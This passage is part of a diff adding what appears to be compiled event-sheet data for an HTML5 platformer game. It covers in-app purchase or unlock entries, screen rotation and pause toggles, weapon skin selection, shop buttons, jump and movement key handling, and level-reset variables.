+ [
+ 10,
+ 44,
+ null,
+ 923233300046772,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi11"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 518836229236307,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi1123"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a11"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 197764313717116,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 845091987729164,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 10000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 731264094384388,
+ false,
+ [
+ [
+ 11,
+ "a12"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 330259621042170,
+ false,
+ [
+ [
+ 11,
+ "a12"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 544927724786774,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi12"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 279335734383933,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi1223"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a12"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 738751810991891,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 222750993496335,
+ false,
+ [
+ [
+ 11,
+ "a13"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 113187241741373,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 25000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 754246446251383,
+ false,
+ [
+ [
+ 11,
+ "a13"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 310176702833433,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi13"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 874338791604834,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi1323"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a13"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 274352146233129,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 478026284650531,
+ false,
+ [
+ [
+ 11,
+ "a14"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 821690758796556,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 14
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 594596280005990,
+ false,
+ [
+ [
+ 11,
+ "a14"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 612534494542213,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi14"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 356493927704586,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi1423"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a14"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 697044967225601,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 708038471581785,
+ false,
+ [
+ [
+ 11,
+ "a15"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 811563563848800,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 100000
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 815634925738513,
+ false,
+ [
+ [
+ 11,
+ "a15"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 44,
+ null,
+ 288682040226344,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "papi15"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 184846104503042,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "repi1523"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "a15"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 503735750697797,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 663081276931626,
+ false
+ ]
+ ],
+ [],
+ [
+ [
+ 0,
+ null,
+ false,
+ null,
+ 664935940039033,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 123744541554274,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 425086961925945,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 669780243894294,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 320290400199442,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 983275366041520,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 422884096100205,
+ false,
+ [
+ [
+ 11,
+ "paused"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 371401002166666,
+ [
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 523997498290596,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 397700837614458,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 549252039095068,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 445421861278446,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 557687938614574,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 356747893085998,
+ false,
+ [
+ [
+ 11,
+ "paused"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 535845258073826,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 186350882383597,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 161874396873175,
+ false
+ ],
+ [
+ 7,
+ 53,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 580321113553770,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 772740679758176,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 55,
+ null,
+ 971159534189237,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 415776974855595,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 683583087503321,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 377764041503068,
+ false,
+ [
+ [
+ 11,
+ "paused"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 864835504095532,
+ [
+ [
+ -1,
+ 38,
+ null,
+ 0,
+ false,
+ true,
+ false,
+ 847800865203454,
+ false
+ ],
+ [
+ -1,
+ 54,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 394946874948859,
+ false
+ ]
+ ],
+ [
+ [
+ -1,
+ 55,
+ null,
+ 536857840646829,
+ false,
+ [
+ [
+ 5,
+ [
+ 2,
+ "Rotate Screen"
+ ]
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 162953502518740,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 156270537232094,
+ false,
+ [
+ [
+ 11,
+ "IsScreenRotate"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 417707070609039,
+ false,
+ [
+ [
+ 11,
+ "paused"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 825994117260616,
+ [
+ [
+ 324,
+ 66,
+ null,
+ 0,
+ false,
+ false,
+ true,
+ 311371949441331,
+ false,
+ [
+ [
+ 4,
+ 540
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 67,
+ "Platform",
+ 937095060287663,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -800
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 376411947896813,
+ false,
+ [
+ [
+ 2,
+ [
+ "rebotador",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ 540,
+ 30,
+ null,
+ 371501110973007,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "idle"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 324,
+ 68,
+ "Platform",
+ 513562751130678,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 800
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 61,
+ "Platform",
+ 152800082067294,
+ false,
+ [
+ [
+ 3,
+ 2
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 947369902682590,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 540,
+ 30,
+ null,
+ 205522986250224,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "full"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 788676118530511,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ 324,
+ 68,
+ "Platform",
+ 639392282874324,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 400
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 221771140352386,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 556523435228280,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 199883980425625,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 673247672825859,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin1"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 697544330383703,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 413704267966453,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 826270783224534,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 939653274070372,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin2"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 201213887385151,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 867430589327444,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 180557298166839,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 114533368859740,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin3"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 782855553123922,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 596478157194027,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 696626028461651,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 126581884144341,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin4"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 674862136769257,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 856614370453888,
+ false
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 641518042870681,
+ false,
+ [
+ [
+ 11,
+ "weaponselected"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 324,
+ 30,
+ null,
+ 816864977184102,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "skin5"
+ ]
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 641248549023864,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 761208286497524,
+ false,
+ [
+ [
+ 4,
+ 446
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 177720120404220,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 69,
+ null,
+ 642980667062435,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 584235833596575,
+ [
+ [
+ 1,
+ 70,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 615425581062577,
+ false,
+ [
+ [
+ 9,
+ 82
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 144395099778099,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 69,
+ null,
+ 930041908266839,
+ false
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 109964690045161,
+ [
+ [
+ 0,
+ 37,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 896289576606905,
+ false,
+ [
+ [
+ 4,
+ 450
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 4,
+ 33,
+ null,
+ 333234244438326,
+ false,
+ [
+ [
+ 2,
+ [
+ "button",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 29,
+ null,
+ 951138127566725,
+ false,
+ [
+ [
+ 0,
+ [
+ 1,
+ 0.1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 40,
+ null,
+ 664315063845479,
+ false,
+ [
+ [
+ 6,
+ "Shop"
+ ]
+ ]
+ ],
+ [
+ 4,
+ 32,
+ null,
+ 997314860210204,
+ false
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 284095535566600,
+ false,
+ [
+ [
+ 2,
+ [
+ "menustemas",
+ false
+ ]
+ ],
+ [
+ 3,
+ 1
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 324879021961781,
+ [
+ [
+ -1,
+ 34,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 582267358584837,
+ false
+ ]
+ ],
+ [
+ [
+ 344,
+ 46,
+ "Pin",
+ 254234871323119,
+ false,
+ [
+ [
+ 4,
+ 324
+ ],
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 346,
+ 46,
+ "Pin",
+ 335808035236657,
+ false,
+ [
+ [
+ 4,
+ 343
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 178440849471495,
+ false,
+ [
+ [
+ 11,
+ "vida"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 969951197487741,
+ false,
+ [
+ [
+ 11,
+ "endgame"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 991196949022137,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 308345035471342,
+ false,
+ [
+ [
+ 11,
+ "key1"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 140965104197598,
+ false,
+ [
+ [
+ 11,
+ "key2"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 605035164820606,
+ false,
+ [
+ [
+ 11,
+ "key3"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 373815278129541,
+ false,
+ [
+ [
+ 11,
+ "key4"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 172286581263176,
+ [
+ [
+ 554,
+ 57,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 974797990177829,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 516648148589068,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ -1000
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 643995029493295,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 112881651842447,
+ [
+ [
+ 554,
+ 59,
+ null,
+ 1,
+ false,
+ false,
+ false,
+ 860415172752746,
+ false
+ ]
+ ],
+ [
+ [
+ 4,
+ 58,
+ null,
+ 267988863883257,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 56,
+ null,
+ 483481440979092,
+ false,
+ [
+ [
+ 0,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 449981644088619,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 557659358939254,
+ false,
+ [
+ [
+ 9,
+ 38
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 774452922676168,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 529422065350858,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 904481262043978,
+ [
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 519334198646549,
+ false,
+ [
+ [
+ 9,
+ 87
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 482381853833310,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 319226500793936,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 679259013801031,
+ [
+ [
+ 324,
+ 66,
+ null,
+ 0,
+ false,
+ false,
+ true,
+ 999145667909061,
+ false,
+ [
+ [
+ 4,
+ 325
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 883252332974391,
+ false,
+ [
+ [
+ 11,
+ "jump"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 367292976435175,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 711439990530805,
+ false
+ ]
+ ],
+ [
+ [
+ 324,
+ 72,
+ null,
+ 335783572288216,
+ false,
+ [
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 324,
+ 73,
+ false,
+ null
+ ],
+ [
+ 7,
+ [
+ 22,
+ 324,
+ "Platform",
+ 74,
+ false,
+ null
+ ],
+ [
+ 0,
+ 40
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 539,
+ 75,
+ null,
+ 325778519080970,
+ false,
+ [
+ [
+ 0,
+ [
+ 20,
+ 324,
+ 52,
+ false,
+ null
+ ]
+ ],
+ [
+ 0,
+ [
+ 20,
+ 324,
+ 76,
+ false,
+ null
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 746622571236835,
+ [
+ [
+ -1,
+ 41,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 937006454365580,
+ false
+ ]
+ ],
+ [
+ [
+ 328,
+ 77,
+ null,
+ 424406653825610,
+ false,
+ [
+ [
+ 0,
+ [
+ 20,
+ 324,
+ 52,
+ false,
+ null
+ ]
+ ],
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 324,
+ 76,
+ false,
+ null
+ ],
+ [
+ 0,
+ 20
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 329,
+ 77,
+ null,
+ 425504523371970,
+ false,
+ [
+ [
+ 0,
+ [
+ 20,
+ 324,
+ 52,
+ false,
+ null
+ ]
+ ],
+ [
+ 0,
+ [
+ 4,
+ [
+ 20,
+ 324,
+ 76,
+ false,
+ null
+ ],
+ [
+ 0,
+ 20
+ ]
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 126382827419508,
+ [
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 884594279795302,
+ false
+ ],
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 589062650779811,
+ false,
+ [
+ [
+ 9,
+ 39
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 328,
+ 79,
+ null,
+ 903689440822873,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 329,
+ 79,
+ null,
+ 819788884253230,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 890518036936491,
+ [
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 627449496857379,
+ false
+ ],
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 977533952638496,
+ false,
+ [
+ [
+ 9,
+ 37
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 329,
+ 79,
+ null,
+ 513449772286655,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 328,
+ 79,
+ null,
+ 493219019253407,
+ false,
+ [
+ [
+ 3,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 773474435240595,
+ [
+ [
+ 324,
+ 78,
+ "Platform",
+ 0,
+ false,
+ false,
+ false,
+ 503194345563052,
+ false
+ ],
+ [
+ 1,
+ 71,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 750685712759689,
+ false,
+ [
+ [
+ 9,
+ 68
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 328,
+ 79,
+ null,
+ 749610088674392,
+ false,
+ [
+ [
+ 3,
+ 1
+ ]
+ ]
+ ],
+ [
+ 329,
+ 79,
+ null,
+ 461643947519755,
+ false,
+ [
+ [
